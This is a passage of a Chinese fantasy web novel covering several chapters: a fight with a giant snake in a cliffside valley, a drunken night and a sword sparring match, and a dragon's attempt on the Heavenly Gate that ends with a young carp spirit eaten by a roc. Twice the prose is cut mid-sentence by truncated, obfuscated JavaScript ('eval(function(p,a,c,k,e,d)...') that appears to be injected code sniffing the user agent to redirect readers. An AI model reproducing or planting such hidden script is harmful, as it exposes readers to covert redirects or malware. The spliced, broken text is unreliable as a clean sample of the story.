巨蛇来势汹汹,直接把睢羲撞了出去,随后转身再次朝着濯漪冲了过来,她迅速向上起跳,直接将追上来的血盆大口踩在了脚下。 巨蛇扬起的头颅直接被踩了下去,濯漪瞅准巨蛇七寸的位置便将手中的匕首刺了下去,将蛇身死死地钉在了土地里。 濯漪跃过蛇身,在白雾中寻找睢羲的身影。 “睢羲!” 濯漪焦急地呼唤道。 睢羲听到了呼唤声,立刻道:“濯漪,我在这。” 睢羲扶着树干起身,活动了一番被巨蛇扫到的手臂,“你没事吧?” 濯漪上前拉住睢羲的手,语气迅速,“此地不宜久留,那支匕首困不住它多久的,我们要快点离开这里。” 巨蛇挣脱匕首,疼痛让它彻底被激怒,它嘶吼着吐着猩红的蛇信子,横冲直撞地朝着二人奔来。 濯漪见状拉着睢羲便朝着另一边跑去。 睢羲回头看了一眼身后紧追不舍的巨蛇,“濯漪,事态紧急,我可以直接杀了它!” 濯漪沉默了片刻,语气坚定地回道:“不能使用戾气,帮我留意着四周有没有鬼荆藤,那东西有腐蚀性,我有办法对付它。” 睢羲点了点头,“鬼荆藤长何种样子?” 濯漪说:“棕色的,带荆棘刺。看到了要及时跟我说,不要擅自去扯。” 巨蛇气势汹汹,双眸猩红,它行走得速度极快,鳞片与地面摩擦出沙沙的声音,听在耳中就像是催命的咒语。 两个人在逃命的过程中很快迷失了方向,睢羲一直没有看到黑荆藤的影子,他用力回握着濯漪的手,试图引起她的注意。 “只是用一点戾气而已,要不我们今日都会死在这里的。” 濯漪不假思索地拒绝道:“不行,这里浊气横行,你若是倒在这里,会很麻烦的。” 睢羲回头看了一眼穷追不舍的巨蛇,随即推开了濯漪,他对准巨蛇张开的手,不等戾气翻滚而出,浊气争先恐后地钻入了他的经脉之中。 睢羲神情一愣,手中凝聚起的戾气瞬间消散,剧痛铺天盖地地向他袭来,浊气进入他的体内之后,迅速吞噬掉其中的戾气,占据着他经脉内的每一个角落。 巨蛇见状睢羲身影一滞,立刻甩尾朝他撞了过去。 睢羲咬牙看向巨蛇,身体被巨蛇撞飞,紧要关头他将体内叫嚣的浊气当做戾气使用,催发出刀雾直接将巨蛇劈成了两半。 腥热的蛇血顿时喷涌而出。 睢羲觉得半空中的身体顿了一下,随即立刻下坠,直直地往无望谷底中落去,最后的意识便是看到濯漪朝着他飞身而来。 67. 月下 睢羲缓慢地睁开了双眸,脑海中的混沌如潮水一般退去,他察觉到有几滴水珠落在了脸颊上。 “下……下雨了?” “睢羲,你终于醒了,你真是吓死我。”濯漪见睢羲恢复意识,神情又惊又喜,她擦干了脸上的泪水,“你有没有觉得哪里不舒服?” 睢羲在濯漪的搀扶下坐起身,他揉了揉胀痛的太阳穴,等眼前全部看清之后,立刻抬眸去看濯漪,随即便心中一怔,“你……你没事吧?” 濯漪身上有着大大小小的擦伤,甚至脸上也有几处,左臂像是被东西绞过一般,皮肉外翻着,看起来格外的骇人。 睢羲见状迅速撕了衣摆,跪坐在濯漪身侧替她包扎着伤口,他看着四下黑洞洞的一片,又看了一眼面前的火堆,“这便是无望谷谷底吗?我们要怎样回去?” “不是,只是一块凸出来峭壁而已,幸亏有此处,否则我们便要在悬崖上挂一段时间了。”濯漪摇了摇头,她低头吹着手臂的伤口,“那边还有我下来时用的黑荆藤,等我休息一会,我可以背你上去。” “怎么能让你背我上去呢,你……很疼吧?我来帮你吹。” 睢羲心中有愧疚,他伸手小心翼翼地托过濯漪的手臂,低头轻轻地吹着伤口,“濯漪,对不起,刚才是我太莽撞了,我应该听取你的意见的。” 睢羲抬眸便对上濯漪泪眼婆娑的双眸,顿时有些手足无措,片刻后试探地伸出手擦了擦她脸上的泪珠。 “你……你别哭了,是不是很痛?” 濯漪摇了摇头,当时她看到睢羲被巨蛇扫下了无望谷,立刻扯了一旁的鬼荆藤便随着跳了下去,好在藤条够长,也好在这里有一处落脚的石台,她身上的擦伤都是鬼荆藤留下的,它的汁液腐蚀性很强,在短时间内根本难以愈合,伤口虽然可怖,但是疼痛却可以忍受。 “你没事便好,多亏了你杀了那条巨蛇,否则现下都不知晓该如何是好,你被浊气入体,还有觉得不适的地方吗?” 睢羲看着濯漪止不住的泪珠,一时半刻没了主意,只能轻声问道:“濯漪,我都没事了,你为何还在哭,这……附近有止疼的草药吗?你教我认一下,我去采好不好?”说完,他便打算起身,右脚撑地时才察觉到一阵剧烈的疼痛。 睢羲没有防备,顿时摔了回去。 “别乱动了,你摔下来的时候,大概是撞到了石壁,骨头应该是撞断了,等离开这里便好了。” 睢羲抿了抿双唇,神情有些愧疚地说:“本来是出来保护你的,现下倒是给你添了麻烦。” 濯漪抬眸去看睢羲,擦干了脸上的眼泪,笑着说:“怎么会呢,谁都没有料到会有这么一条巨蛇出现。再说了,你杀了那条蛇,也是保护我了啊。只是可惜了那几个鸩鸟蛋,碎得只剩下一个了。我流泪不是因为别的,是被鬼荆藤刮到了眼尾,所以总是控制不住。” 濯漪说着从火堆里用木棍拨了一个鸩鸟蛋出来,她在手中来回倒腾了片刻,剥去一半蛋壳后举到了睢羲面前。 睢羲一惊,垂眸看着濯漪递过来的鸩鸟蛋,热气腾腾的蛋清上散发着一股淡淡的腥味,他的心跳莫名其妙地有些快速,“给……给我的吗?我是修罗,可以不用进食的,你吃吧。” 濯漪吸了吸鼻子,双眸含泪又带笑,“不用进食又不是不能进食,吃吃看嘛,你应该没吃过鸩鸟蛋吧,很好吃的,跟鸡蛋不一样。” 睢羲看着濯漪的双眸,泪水浸湿过后格外的明亮,眼尾和鼻尖都泛着淡淡的红色,他鬼使神差地将巴掌大的鸩鸟蛋接了过来,吹凉后轻轻地咬了一口,毫无遮掩、肆无忌惮的视线却从来没有离开过濯漪的脸。 濯漪摸了摸脸上的一块伤痕,疼得倒吸了一口凉气,“干嘛这么看着我,我的脸是不是很难看了?” “没有,你很漂亮。”说完,睢羲便将手中咬了一口的鸩鸟蛋递到了濯漪面前。 “你吃。” 濯漪眨了眨眼睛,她静静地抬眸盯着睢羲看了片刻,随后别了别耳畔莫须有的碎发,垂眸就着他的手低头咬了一口蛋清。 在此期间睢羲没有任何后退的动作,他手中举着鸩鸟蛋,双眸紧紧地盯着濯漪,似乎后者不吃,他便会一直保持这个动作不变,直到对方妥协。 下一口时,睢羲特意将咬出来的蛋黄一侧转到濯漪面前,两个人颇有默契,默默地将鸩鸟蛋你一口我一口的分食干净。 濯漪垂着眸,火光将她的脸颊映成粉红,轻声说道:“我想休息一会,等我睡醒后,我们再想办法爬上去,这里应该不高。” “好。” 睢羲将蛋壳扔进了火堆之中。 濯漪蜷缩着躺在了睢羲的身侧,将身上的短披风裹了裹,用来抵挡谷中的寒气。 睢羲见状开口问道:“冷吗?” 濯漪闻言半起身看着睢羲,“那你可以抱着我睡吗?这样两个人都会暖一些。” “好,其实……我也有一些冷。” 睢羲说完后便有一些不自然地看向了一旁虚无的黑暗。 濯漪勾唇笑了起来,她起身坐到了睢羲的怀中,将皮毛披风裹在了两个人的身上,随后心满意足地合上双眸。 睢羲抱着濯漪,感觉怀中热乎乎的,清苦的药草香夹杂着如温玉般的气息充斥在他的怀中,意识也不自觉地有些昏沉,他轻轻地靠在濯漪的额头上,放任意识沉沦。 火堆燃到最后,濯漪便醒了过来,她感觉周身很暖和,连指尖都是热的,她抬眸看向睢羲,却发现后者也困得东倒西歪。 睢羲少了濯漪的支撑,困得直接垂下了头,濯漪躲闪不及,温软的唇直接落在了她的鼻尖上,她惊得往后缩了一下。 “你醒了,休息好了吗?” 睢羲睁开双眸,眼底一片朦胧,他垂眸看着濯漪,丝毫没有意识到方才发生的事情,只是缓慢地眨了眨眼睛。 “嗯。” 濯漪轻轻地应了一声。 姜芜突然笑了一声,她侧身躺在巨石上,伸手摸了摸自己的鼻尖,一点一点地喝光了壶中的酒,她偏头打了个酒嗝,手脚发软地起身朝着白雾森林走去。 商扶庭见状迅速上前扯住姜芜的手臂,神情担忧地道:“那边危险,不要去。” 姜芜被扯了个踉跄,她回头醉眼朦胧地看着商扶庭,随即笑着说:“是你啊,小道士。我只是感觉有些饿,所以去森林中掏个鸟蛋吃而已。” “饿?”商扶庭蹙眉,“我这里还有些饼,你要吃吗?” 姜芜闻言摆了摆手,也不再执意去白雾森林里掏鸟蛋,她折回巨石上躺好,看着漫天的星河,往口中倒着酒。 商扶庭见状坐到了巨石旁,他看着姜芜问道:“你之前来过这里?” 姜芜应了一声,“来这里采过草药。” “哦。”商扶庭敛眸,闷闷地说,“是同睢羲来的吗?” 姜芜否认,“不是,都是我自己来,他只来同我来过一次。” 商扶庭抬眸看向姜芜,不解地问道:“这里这么危险,他为何放任你独自过来?” 姜芜笑着说:“因为那时我同他认识并没有多久,他为何不能放任我独自前来,他以何种身份不让我前来?” 商扶庭出声问道:“你和他是如何认识的?” 姜芜笑了一声,她眯起了双眸,“我小时候在遇到他的时候好惨,在无幻之境中流浪,好多修罗都想要欺负我,遇到他以后便不一样了,他会护我。” “他护着你还让你来这么危险的地方采药?”商扶庭面上闪过一丝烦闷,“姜芜,你要不要听听你的前后句?即便是你要说假话骗我,能否前后逻辑一致些?” 姜芜神情一愣,随即笑着摇了摇头,“我有些醉了,在说胡话。” 商扶庭追问道:“都是假的吗?” “都是真的。”姜芜抬起酒壶灌了一口酒,神情颇为地怀念,“之前他受伤严重,百衢把他送到我母亲那边养伤,伤好之后他便离开了,很久以后,我们才重逢。” 商扶庭默不作声地看着姜芜,看着她眼角突然落下的泪珠,他急忙伸手去擦。 姜芜适时打了个哈欠,转身背对着商扶庭,“困了,我要睡了。” 商扶庭面无表情地看着姜芜的肩背,轻声问道:“姜芜,你在想他吗?” 姜芜合着双眸,漫不经心地问道:“想一个死人做何事?” “但是你最近很难过。”商扶庭试探地伸出手放在姜芜的肩上,“有何心中之事是可以同我说一说的吗?” 姜芜翻身而起,不动声色地将商扶庭的手拂了下去,她一脸不解地看着后者,“你哪里看出来我有心事的?” 商扶庭看着姜芜的双眸,“我知晓睢羲死了,你很难过,你这几日的种种都在昭示着这个答案,我也明白你为了人间封印无幻之境的良苦用心。” 姜芜蹙眉,她听得一头雾水,伸手按了按眉心,“我为何不是在荆州城与人虚与委蛇耗费了太多的精力而精神不济?为何是因为睢羲的死,自从段怀野死后,我们的关系已经回不去了。” 商扶庭追问道:“就因为三观不合吗?你们一起生活了这么多年?难道就因为一件事情而分道扬镳吗?” 姜芜勾唇,饶有兴趣地看着商扶庭,“小道士,没想到你对男女之事也如此上心,有一个词叫做新奇感,在男女感情之间最为重要,新奇感没有了,感情也算是走到头了。” 商扶庭放轻了声音,轻得散进风中,“所以说,你已经厌烦睢羲了吗?” 姜芜摇了摇头,“不算,只是感情淡了而已。” 商扶庭静静地抬眸看着姜芜,看着她平静的双眸,看着她坐在巨石上俯身看着自己,满天星河都比不过她的眸光,夜风徐徐,他闻到了姜芜身上的气息,很暖很香,残留的酒香让他昏昏欲睡。 商扶庭觉得自己有些醉酒,他触摸到了自己心底一直回避的问题,对着姜芜轻轻地开了口。 “姜芜,心悦我吧,让我照顾你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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商扶庭迅速转身,酒壶在他身前碎裂,里面的液体散了出来,短时间内周身围绕着一阵酒香。 “做何事?” 商扶庭神情不解地看着姜芜,见她摇摇晃晃地站了起来,立刻快步上前搀扶她。 姜芜见商扶庭走来,立刻召出无心乱,反手弹出长剑朝着他刺去。 商扶庭一惊,看得出姜芜用的是五行剑式的起手式,立刻旋身躲避,“姜芜?你做何事?” 姜芜再次发起攻势,“看看你的长进。” 商扶庭闻言勾唇,他手握太初剑带着剑鞘朝姜芜刺去,“那便让你看看。” 姜芜收臂抵挡,垂眸看着太初剑上的剑鞘,“看不起我?” 商扶庭说:“没有,只是怕误伤了你。” 姜芜眉心一拢,随即轻笑一声,“商扶庭,你别太看得起自己了,在我眼里你的修为不过百年。” “没有很看得起自己。” 商扶庭摇了摇头,专心致志地同姜芜过着剑招,“五行道宗,剑修商扶庭,请教阁下高招。” 姜芜忍俊不禁,手腕一翻朝着商扶庭刺出一剑,无心乱的剑光闪烁,荡在四周漆黑的夜中。 商扶庭逐渐有些应接不暇,他发觉姜芜的剑招越发得陌生又熟悉,既举得像是五行剑式,又觉得比五行剑式还复杂。 商扶庭败下阵来,他不解地看着姜芜,“你这剑式为何像五行剑式,又不像呢?是你自创的吗?” 姜芜旋身落于巨石之上,白色的衣角翩飞,她从纳袋中取了一壶酒,仰头灌了几口,毫不在意地抬袖擦了擦溅到脸上的酒液。 “所以,你看清楚了吗?” 姜芜说完,抬手将酒壶掷向了商扶庭,后者立刻抬手接住。 姜芜立于月光之下,将心中所熟知的剑式又重新走了一遍,“集大成者,脱胎于一招一式,却又不拘泥于一招一式,这套剑式原本是我所创作,但是段怀野觉得过于麻烦,所以又简化成现下的五行剑式。” 商扶庭神情专注地看着,只觉得四周灵气聚集于姜芜身侧,她步伐稳当,力道十足,身姿似游龙,剑式流畅,广袖裙裾不仅没有成为束缚,反而让她更加的灵动飘逸,恍若月下仙子。 商扶庭将剑式记于心间,将遗缺不足的部分填补到自己所熟知的剑式之中,周身灵气隐隐,逐渐让越柯迦的修为完整得融入他的经脉里,已然全部为他所用。 姜芜走完剑式,翻身躺倒在巨石之上,她仰头看着夜空中的明月,眼前的景象越发得模糊,眨眼之间只剩了一片黑。 商扶庭走上前,把手中的酒壶放在姜芜身侧,开口道:“姜芜,谢谢你。” 姜芜蹙眉,随手拿起酒壶的手向前挥了挥,触到层层叠叠的衣裳后,她才抬起了头,仔细辨认着面前之人,无论如何都是一片模糊。 “鸩鸟修成人形了,来找我报掏蛋之仇?” 68. 化龙 “你方才答应了他什么?” 姜芜眯着双眸笑了起来,她缓慢地仰头灌了一口酒,“答应?方才有人吗?没有吧,这不是你一个小小的鸩鸟精该管的事情。” “你喝得太多了。” 姜芜察觉到冰凉的物什勾去了她唇角的酒液,像是手指,又像是其他什么,不过她意识模糊已经感觉不到了,只能抬手挥开,神情有些不耐地说:“喝酒而已,高兴才喝酒。” “何事高兴?与人互通心意高兴?” 姜芜不语,只是半撑着身子抬眸看向了不远处的白雾森林,夜色中的雾像是一团乌云,游荡在森林之中,她觉得其中好像有一道白光闪过,立刻丢开酒壶捂住了双耳。 酒壶咕噜着滚下巨石,落在了不远处的草丛中,孤零零地躺着。 “要打雷下雨了。” “胡说,你喝醉了。” 姜芜笑着抬手勾住了来者垂下来的墨发同发链,“人死后叫做鬼,修罗死后呢?叫修罗鬼?” “修罗死后不会变成鬼,会化成无幻之境的沙砾,或者风雨星辰等一切世间自然。” 姜芜睁大了双眼,想要努力看清楚面前之人,眼前依旧雾蒙蒙的一片,她放弃了心中的所想,脱力般地躺回了巨石上,“变成鬼之后,你还像从前那般病怏怏的吗?伤口还会痛吗?身上有没有感觉到轻松一些?会和从前一样吗?早知晓便对你好一些了,你能不能不计前嫌,大人有大量,以后……多来梦里看看我?” “濯濯,你怎么睡在这里了?” 姜芜闻声迅速从梦中醒来,她翻身而起,朦胧的视线顿时清晰,临近破晓,天光一线,四下一片朦胧,像是笼罩在宝石蓝色的薄纱中。 宿凌薇伸手拍了拍姜芜的肩膀,“醒醒神,天阶要凝聚了。” 商扶庭跟在宿凌薇身后,他掐诀引水打湿了手中的帕子,拧干后递给了姜芜,“擦擦脸。” 姜芜接过帕子并道谢,仔细地擦净了自己的脸。 宗华打着哈欠同沈确并肩走着,他鲜少有起这么早的时候,困得眼睛都睁不开,只能随着沈确的脚步走。 寂满一下子冲到了最前方,心潮澎湃地说:“马上便要过无望谷了,过了无望谷便是河津镇,我要化龙了!” 宿凌薇笑着问道:“怎么?紧张了。” 寂满摩拳擦掌,一副跃跃欲试的模样,“不,我一点都不紧张,我现下非常兴奋,我立刻马上便想要化龙,然后去并州把那三个妖怪打得落花流水!” 商扶庭抬手接了一条灵讯,一目十行地浏览完毕,随即面色纠结地看向姜芜。 “发生何事了?” 姜芜不解地看向商扶庭。 “并州事情吃紧,愈演愈烈,而且曾有人看到修罗王百衢出现,师门传我与师妹带太初太阿两柄神剑前去支援。”商扶庭看了姜芜一眼,随后面带歉意地看向寂满,“寂满兄弟,你此行前往河津跃天门,我同师妹怕是无法同行了。” 寂满毫不在意地摆了摆手,“没关系,没关系,跃天门本就是我自己的事情,你们有事先去忙就行。” 商扶庭颔首,“好,我在并州等你们。” 姜芜转头看向了宗华,“你呢?是跟着我们还是跟着扶庭他们?” 商扶庭一愣,倏地看向了姜芜,眼神中多了几分期冀与惊讶。 雾沅蹙眉,看向姜芜的眼神中多了几分不解与迷惘,他想不通为何经过一夜二人的关系却变得如此的反常,而且有睢羲的事情在前,二人的关系再如何也不该像现下这般诡异。 宗华看了看几人,随即对商扶庭说:“化龙的话,我也帮不上什么忙,去并州的话,或许我还能帮忙识破伪装,不如我便跟着商道长去并州吧。” 姜芜颔首,“也好。” “师妹,你来带他御剑。” 商扶庭叮嘱完沈确后走到了姜芜面前,“注意安全,若是需要我的帮忙,可以传急讯给我。”说完,他从纳戒中取出一件似镜子般的法器递给姜芜。 “此镜名为灵照,成双成对,可千里传音,万里追踪,片刻之间便可以到达持镜人身边。” 姜芜伸手接过灵照镜,随后反手收进了袖袋中,“好啊。” 商扶庭捻了捻手指,欲言又止地看着姜芜,他想起之前经常会碰到姜芜的手,现下想正式地握一下寄托一番自己的担忧与牵挂却没有了理由,只能化作一息无声不舍的叹气,随后与沈确御剑离开了无望谷。 宿凌薇意有所指地撞了撞姜芜的肩膀,随即揶揄地朝她一笑,正准备开口刨根问底时,却听到寂满大叫了一声。 “天阶开始了!” 平地一阵罡风而起,太阳缓缓得升了起来,温暖的金光撒满将白雾森林里中的浓雾卷上了天,一道由白雾凝聚而成的拱桥架在了森林的上方,其中的鸩鸟飞了出来,围绕着天阶翩飞。 寂满看着面前的奇景,震惊地无以言表。 姜芜伸手拍了拍寂满的肩膀,笑着说:“别傻站着了,天阶很快便会散去,赶紧过。” 寂满回过神赶上了众人的步伐,“真的很神奇啊,今日可真是托了女娲娘娘的福,若不是她,今日过无望谷肯定是一个麻烦事。” 四人渡过天阶,便听到了黄河水滔滔不绝的声音。 黄河水在太行山脉中形成了九曲回肠之貌,因河口狭窄似壶口,水流飞流直下犹如巨龙吐珠,众人走下天阶恰逢立于瀑布的斜下方,仰目望去犹如苍黄之龙从天而降。 寂满震惊地张大了嘴巴,“怪不得鲤鱼精要跃天门呐,这黄河水就像是一条奔腾的黄色巨龙啊。” 姜芜看着前方的山路,估计了一番路程,“估计翻过山便要到青州地界了。” 一条灰色的鲤鱼从黄河中跃了出来,在峭壁上坐着唉声叹气,他随手捡起一颗石子丢进了黄河中,“我到底何时也能跃过天门化龙啊。” 寂满闻言定睛一看,发觉是一只不足千年的小鲤鱼精,顿时笑了起来,“怎么?你这么小便要化龙吗?” “谁?” 小灰倏地站了起来,他转头看向站在上方栈道上的四人,神情惊恐地问道:“你们......你们是人是妖啊?” 寂满忍俊不禁,“你不是鲤鱼精吗?怎么连我们是人是妖也看不清啊?” 小灰羞赧地挠了挠自己的头发,“我修为太低了嘛,看不出大妖也算正常。” 姜芜看着圆头圆脑的灰鲤鱼精,化作人型不过十岁左右的幼童,身上穿着一件灰扑扑的铅色衣裳,脑袋上扎了一个小发揪,看起来格外的可爱。 姜芜开口问道:“你方才说你要化龙?你年纪还这么小,为何要想化龙一事?” 小灰抬眸看了姜芜片刻,随后他峭壁爬了上去,“我的父母想让我成龙,他们朋友的孩子都已经化龙了,独剩我自己了,我也去过了好多次,但是依旧不能跃过天门,天门好难啊。” 姜芜伸手摸了摸小灰的脑袋,“可是你还这么小,修为也不够化龙啊,你的尾巴是不是受伤了?” 小灰闷闷地点了点头,“那是我上次去跃天门被雷劈的,好久了呢,都无法愈合。你们呢?也是准备去天门化龙吗?” 寂满拍了拍胸膛,十分自豪地说:“是我,我要天门化龙,我目前可是一条蛟龙哦,比你这种小鲤鱼高级多了。” 小灰震惊地看向寂满,发出一阵羡慕的惊叹,“蛟龙哎,那你岂不是距离化龙只有一步之遥了?” 寂满自豪地点了点头,“厉害吧?” “厉害厉害!”小灰转念一想,“但是你为何要来天门化龙,没听我娘亲说过蛟龙也要来天门化龙的。” 寂满脸上自豪的神情一愣,接着有些尴尬地说:“这个嘛......这个......你年纪还小,而且你们一家子都是黄河长大的鲤鱼,没看过外面的世界也很正常,外面的世界可大了,是黄河的好几倍呢!” “哇!”小灰的神情对外面的世界充满了向往,“等我化龙了,便不用受水的限制,可以徜徉天地了。” 寂满敲着小灰可爱,俯身举起他坐到了自己的肩膀上,“走,我带你去化龙,等我成功化龙,帮你不过是区区小事。” 雾沅刚想要阻止,却见寂满已经背着小灰走远。 宿凌薇笑着说:“真是有趣啊,这便是所谓的情投意合千言少吧,只是聊了几句而已,他自己还没成龙呢,倒是帮助起了一个小鲤鱼精?可爱的小蛟龙。” 雾沅闻言看向了宿凌薇,神情不妥地朝着她摇了摇头。 姜芜无奈地笑了笑,“还是先去看看天门的情况吧。” 寂满在小灰的指示下,逆着黄河之水向上走,天门便在一处高大瀑布之上,四周黄河滔滔,水声震耳欲聋。 寂满仰头去看立在半空中的一道白色弧光,太阳有些耀眼,他不得不抬手去遮眼,“天门要怎么跃?逆流而上飞跃那道弧光吗?” 小灰点了点头,“对,期间会有天累和大浪击身,巨风和烈火袭身,总之,很难的。不过,我这次是背着父母出来的,不能太久,我一会便要回去了,所以就看着你化龙吧。” “放心,不会耽误你太长时间。”寂满将小灰放在了地上,回头对三人说,“我先自己试试,对于鲤鱼精来说很难,说不定对于我来说很简单呢。” 雾沅颔首,“小心为妙。” “知晓了。” 寂满纵身跃入黄河之中,片刻之后一条黑色的蛟龙凫水而现,踏浪而起,它逆流而上,迎着滔天而下的瀑布纵身一跃。 原本的万里晴空此时乌云聚集,一道天雷直直地从乌云之中劈下,精准地劈到了寂满的身上,鲜血立刻从它的鳞片中溢出,一阵巨鸣从瀑布中震出。 寂满咬牙继续向天门飞去。 宿凌薇蹙眉,“这天雷的威力不小,怕是挨不过第三道。” 雾沅见状迅速化作一只紫黑色的蝴蝶,俯身随着黑蛟而上,顿时他便感觉恍若身处火海地狱,受着烈火焚身之罪。 黄河之水汹涌澎湃,狂风垂直而下,飞沙走石,风云巨变,天幕黑沉压顶。 第二道天雷很快劈了下来,雾沅展开自己的妖力替寂满挡下天雷,让它积攒力气能够一鼓作气跨越天门,不过也只是替寂满抵挡了一瞬间,妖力很快被天雷劈开。 两道天雷劈下来,寂满的进程还不足一半,蛟首都未碰到瀑布初始的位置。 寂满厉声道:“雾沅你下去,你的原身不比我,再来一道你会死的。” 小灰震惊地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宿凌薇率先爬上了岸,戾气迅速浮周身治愈着她的伤口。 “这哪里是跃天门的雷,这是想要我的命吧?” 雾沅搀扶着寂满上岸,神情担忧地问道:“感觉如何?” “区区天雷……”寂满趴在地上,疼得龇牙咧嘴,“痛死我了,鳞片都快崩没了啊。” 姜芜面色一凛,她抬眸看着逐渐散去的乌云,“寂满,还有力气再来一次吗?” 寂满倏地站了起来,信心满满地说:“有!区区天雷!!!区区天门!我可是真龙后代!!!怎么能给大荒丢脸!!!怎么能给我父亲丢脸!!!” “走,小灰也来!” 姜芜扯下身上的大氅,立刻向天门纵身飞去,寂满将小灰托在双肩上,立刻化成黑蛟紧跟其后。 雾沅欲阻止二人,却没有成功,只能眼睁睁地看着二人一前一后向天门飞去,“三人已经是吃力,居然还要带着一只鲤鱼精,不怕它承受不了天雷的威力,灰飞烟灭吗?” 黑红色的戾气在姜芜身上倾泻而下,第一道天雷如期而至,她伸手托向天雷,黑红色的戾气瞬间喷发而出,裹挟着天雷而上。 寂满见状,立刻用蛟首托住姜芜,拼尽全力向上跃去。 黑红色的戾气逼退天雷,直通聚集在天门上的乌云,一道阳光瞬间从乌云之中泄下,很快被聚拢到一处的乌云所遮盖。 第二道天雷来势汹汹,又急又快,摆明了不给二人喘息的机会,紧接着劈了下来。 姜芜如法炮制,天雷瞬间击破了她的戾气,直接劈到了她的身上。 寂满关切地问道:“姜芜,你没事吧?” 小灰瑟缩着抱紧寂满的鳞片,吓得一句话都不敢说。 寂满凭借着姜芜的帮助,第二道天雷落下的时候,瀑布尽头已经过半,只要姜芜能够抵挡住第三道天雷,他便有足够的机会越过天门。 “飞快点。” 姜芜抬手召出无心乱,擦掉嘴角的鲜血,随即将无心乱向天空中甩去,无心乱化成了一柄巨大的倒挂之伞,戾气做伞骨像是一只大手直逼乌云,势要将其抓碎。 第三道天雷聚集了许久,一道刺目的金光将天地映至失真,声势浩大,如同千军马万之势地劈了下来。 姜芜的耳朵顿时流出了鲜血,她将全部的戾气灌注到了无心乱之中,黑红之色铺天盖地,带着穿云破雾的威力直扑天雷。 二者相撞,天地之间骤白。 寂满察觉到姜芜的身体落了下去,立刻大喊道:“姜芜!” 姜芜顺着黑蛟的身躯滚落而下,她抓着鳞片稳住身形,“寂满,趁着间隙冲上去!” 寂满咬牙看着近在咫尺的天门,但是还差那么一截,第四道天雷已经在酝酿之中,此时他同姜芜身负重伤,只怕到时候都会死在这里。 “小灰!冲啊!不能浪费这次机会!” 寂满扬头将小灰甩了上去,金光一闪,一条灰色的鲤鱼瞬间化龙。 宿凌薇仰头看去,“成功了?” 突然,从远处袭来一只大鹏鸟,展开的双翼遮天蔽日,瞬间便捉住了化龙成功的小灰便向远处飞去。 寂满惊得大喊,“小灰!” 姜芜凭借着无心乱跃到了黑蛟的头顶上,“还有力气去追吗?” 寂满咬牙朝着大鹏鸟飞远的方向追去,声嘶力竭道:“你这只臭鸟!!!把小灰还给我!!!!” 大鹏鸟见状,低头一口一口地将双抓上的灰鱼龙啄食掉。 “啊?!”寂满见状大惊,鼓足了劲朝着大鹏鸟飞去,“你这只臭鸟!!!我要将你碎尸万段!!!” 69. 死意 姜芜见二者的距离逼近,瞬间甩出无心乱抓到了大鹏鸟的后背上,借力纵身跃了过去。 大鹏鸟看着后背上的修罗缓缓地站起了身,出声道:“不至于,我饿了半年肚子了,好不容易有成功化龙的鲤鱼,这只鲤鱼这么瘦都不够我塞牙缝的呢,我吃点东西而已,你不至于要杀我吧?” 姜芜勾唇笑了起来,昳丽的脸上邪气横生,她启唇轻轻地吐出一口浊气,“说不准,刚好我今日想吃鹏鸟肉了,怎么办?” 大鹏鸟双眸一瞪,“你敢,我可是有正宗神祇的大鹏鸟,你杀我等于弑神。” “世人皆说修罗嗜血成性,你以为是无稽之谈吗?”姜芜发出一阵气笑,“我同你一只死鸟废什么话?” 大鹏鸟自知同姜芜讲理无用,索性俯身向下冲去,意图接着下坠之力把姜芜从身上甩下去。 姜芜合眸扬起了下颌,戾气滚滚而下,让她稳稳地立于大鹏鸟的脊背之上,无心乱弹出另一侧的长剑,铺满大鹏鸟身躯的戾气瞬间化为尖锐的利器,一分一寸地刺穿了大鹏鸟的巨体。 大鹏鸟发出一阵剧痛的啼叫,挥动得翅膀开始毫无规律可言。 姜芜面无表情地走到大鹏鸟心脏的上方,双手握着无心乱毫不留情地刺穿了它的心脏。 大鹏鸟滞空一瞬,随即迅速向山间坠去。 雾沅三人赶到的时候,姜芜已经将大鹏鸟的身体剖开,割破了它的胃袋,鲜血同酸腐的气息充斥在整个山谷之中。 姜芜从一堆碎肉中起身,拎着最后一只碎块扔到了一堆肉丘上。 寂满神情震惊地看着姜芜,然后缓慢地将目光放到了那堆肉丘上,当他看到被鲜血染红的灰色布料时,眼泪顿时滚滚而下,他双膝盖一软立刻跪倒在其前。 “小灰……是我害了你……” 寂满面对这堆肉丘,顿时不知如何是好,他想伸手像之前那般抱着小灰,触手以后血肉顺着他的手指流得到处都是,无奈之下,他只能将那对肉丘堆了又堆。 “小灰的父母还在等小灰回家,我要怎样跟他父母交代,都怪我,早知最后一下,我便不送他化龙了。” 雾沅面色凝重地拍了拍寂满的肩膀,他看着姜芜被天雷劈得不成样子的外衫,抬手将自己的外袍脱下递给了宿凌薇。 宿凌薇拿着外袍上前把姜芜裹了起来,“还好吧,你感觉如何?” 姜芜按了按自己心口的位置,她在抵抗天雷的过程中,噬魂骨钉的作用陡然消失,她的戾气如同开闸的洪水一般倾泻而出,而此时又重新封锁,仿佛方才的一切都是她的错觉,亦或是睢羲在这枚噬魂骨钉中还隐藏了其他的秘密。 “寂满,还要再试试吗?” 寂满闻言握紧双拳站了起来,他心中一腔愤怒与悲痛无处抒发,“试!为什么不试!区区天门!!!区区化龙!!!”说完,他便没忍住哭出了声,抬手擦了几把眼泪。 “都是我害了小灰,如果不是我,它现在应该和自己的父母在一块,化不了龙又怎么了,还能活很久很久,化了龙便死了……” “走。” 雾沅上前拦住姜芜,劝道:“你们现下这状态已经无法再次跃天门了,还是先缓一缓吧。若是现下再去跃天门,怕是有性命之虞。” 姜芜抬眸看着雾沅,双眸中盛放着一潭死水,“没关系,我可以保证寂满的安全。” 寂满一边擦着眼泪,一边跟着姜芜向天门走去。 雾沅十分不赞同二人的行径,立刻追了上去,“寂满年纪小不懂事也就罢了,姜芜你为何也如此,你难道看不清眼下的情况,亦或者是不清楚自己的身体状况?你们两个现下受伤很严重。” 姜芜轻轻地勾起了唇角,“寂满只需要往上飞即可,其余的不需要他来管。” 